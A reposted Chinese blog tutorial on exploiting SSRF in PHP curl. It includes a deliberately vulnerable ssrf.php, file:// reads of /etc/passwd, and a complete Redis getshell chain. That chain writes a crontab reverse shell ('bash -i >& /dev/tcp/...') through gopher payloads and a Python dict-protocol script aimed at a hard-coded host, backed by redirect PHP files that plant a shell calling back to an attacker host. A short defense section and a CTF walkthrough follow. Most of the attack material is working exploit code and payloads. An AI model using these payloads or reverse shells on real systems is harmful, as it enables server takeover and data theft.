1. 程式人生 > >SSRF漏洞分析與利用

SSRF漏洞分析與利用

轉自:http://www.4o4notfound.org/index.php/archives/33/#pingback-26

前言:總結了一些常見的姿勢,以PHP為例,先上一張腦圖,劃√的是本文接下來實際操作的
QQ圖片20170525001731.png

0x01 漏洞產生

以curl為例,漏洞程式碼為ssrf.php

<?php 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

0x02 利用方式

首先檢視curl的版本和該版本支援的協議

[[email protected] html]#  curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 libidn/1.28 libssh2/1.4.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp 
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-sockets

可以看到該版本的curl支援很多協議,其中gopher協議、dict協議、file協議、http/s協議用的比較多
ps:上面的漏洞程式碼ssrf.php沒有遮蔽回顯,所以利用姿勢比較多

gopher:gopher協議支援發出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議。
先監聽本地2333埠,然後利用gopher協議訪問

[[email protected] ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726

[
[email protected]
html]# curl -v 'http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test' [[email protected] ~]# nc -l -vv 2333 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:47726. test

可以看到資料傳送了。一開始感覺反彈傳輸資料沒多大用,後來看了gopher和dict攻擊redis和脆弱的內網應用的exp才明白

dict:因為ssrf.php的漏洞程式碼有回顯,所以瀏覽器直接訪問

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相關配置。

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh埠/info

即可看到ssh的banner資訊
如果ssrf.php中加上一行遮蔽回顯的程式碼“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那麼這種方式就失效了,和gopher一樣,只能利用nc監聽埠,反彈傳輸資料了。

file:因為ssrf.php的漏洞程式碼有回顯,所以瀏覽器直接訪問

http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描述的東西。同理,如果遮蔽回顯,該協議就廢了

http/s:主要用來探測內網服務。根據響應的狀態判斷內網埠及服務,可以結合java系列0day和其他各種0day使用

0x03 攻擊應用

主要攻擊redis、discuz、fastcgi、memcache、內網脆弱應用這幾類應用,這裡以redis為例,分別利用gopher協議和dict協議getshell
首先要了解redis的getshell的exp寫成的bash shell:

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root 
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

執行命令bash shell.sh 127.0.0.1 6379,就在redis裡面寫了一個鍵值對的定時任務(利用crontab),可以反彈shell。
gopher利用:這部分三葉草的joychou師傅說的很詳細,可以看ssrf in php
這裡為了構造符合gopher協議的訪問請求,首先要獲取bash指令碼對redis發出的訪問請求,要用socat進行埠轉發,轉發命令為:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是將訪問4444埠的流量轉發到6379埠。也就是如果我們的bash指令碼請求的是4444埠,仍然訪問的是6379的redis,相當於一箇中轉
執行命令:

bash shell.sh 127.0.0.1 4444

socat就獲取到了shell.sh對redis發出的請求(這裡貼出來部分請求):

[[email protected] cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/05/25 07:16:51.991865  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2017/05/25 07:16:51.992468  length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.995872  length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r


*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1


\r
< 2017/05/25 07:16:51.996065  length=5 from=0 to=4
+OK\r
> 2017/05/25 07:16:51.998777  length=57 from=0 to=56
*4\r
$6\r

改成適配gopher協議的url:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

再進行urlencode,得到payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

最終的攻擊poc為:

curl -v 'http://127.0.0.1/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

執行即可在/var/spool/cron/下生成一個名為root的定時任務,任務為反彈shell

dict利用:dict協議有一個功能:dict://serverip:port/name:data 向伺服器的埠請求 name data,並在末尾自動補上rn(CRLF)。也就是如果我們發出dict://serverip:port/config:set:dir:/var/spool/cron/的請求,redis就執行了config set dir /var/spool/cron/ rn.用這種方式可以一步步執行redis getshell的exp,執行完就能達到和gopher一樣的效果。原理一樣,但是gopher只需要一個url請求即可,dict需要步步構造。
利用豬豬俠的wooyun上公開的指令碼改成適配本文的指令碼ssrf.py:

import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri 
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

因為curl預設不支援302跳轉,而該指令碼要用到302跳轉,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”來支援跳轉。302.php程式碼為:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>

shell.php主要用於寫入用於反彈shell的crontab的定時任務,程式碼為:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>

執行ssrf.py,即可在/var/spool/cron/下寫入定時任務,反彈shell,nc等待接收shell

0x04 繞過與防禦

繞過:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以繞過部分過濾
防禦:限制協議為HTTP、HTTPS

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

禁止30x跳轉

刪掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

設定白名單或限制內網ip

0x05 例題

一道ctf題目,有兩個檔案:ssrf3.php和flag.php
題目意思是flag只能127.0.0.1訪問,還進行了post驗證,這就需要gopher提交post資料來繞過
curl設定了302跳轉,所以可以把302.php放在自己的vps上進行跳轉.
首先獲取訪問flag.php的post請求:

POST /flag.php HTTP/1.1
Host: 192.168.154.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=admin

因為只有一臺機器,所以我直接將Host改成了127.0.0.1,再改成符合gopher協議的請求,寫入302.php。
302.php內容為

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然後漏洞機器會訪問302.php,然後跳轉,利用gopher協議,自己訪問自己的flag.php同時提交username=admin的post資料。flag可以在ssrf3.php的頁面原始碼中看到。
因為都是一臺機器在操作,但應該不是紫薇吧.ps:改裝成符合gopher協議的get、post型別請求還是要小心的
如有錯誤,請務必指正。

參考

https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_6d1e28_ke_nei_wang_shell_.html
https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E6%9B%B4%E5%A4%9A%E6%94%BB%E5%87%BB%E9%9D%A2
http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/
http://blog.feei.cn/ssrf/
http://joychou.org/index.php/web/phpssrf.html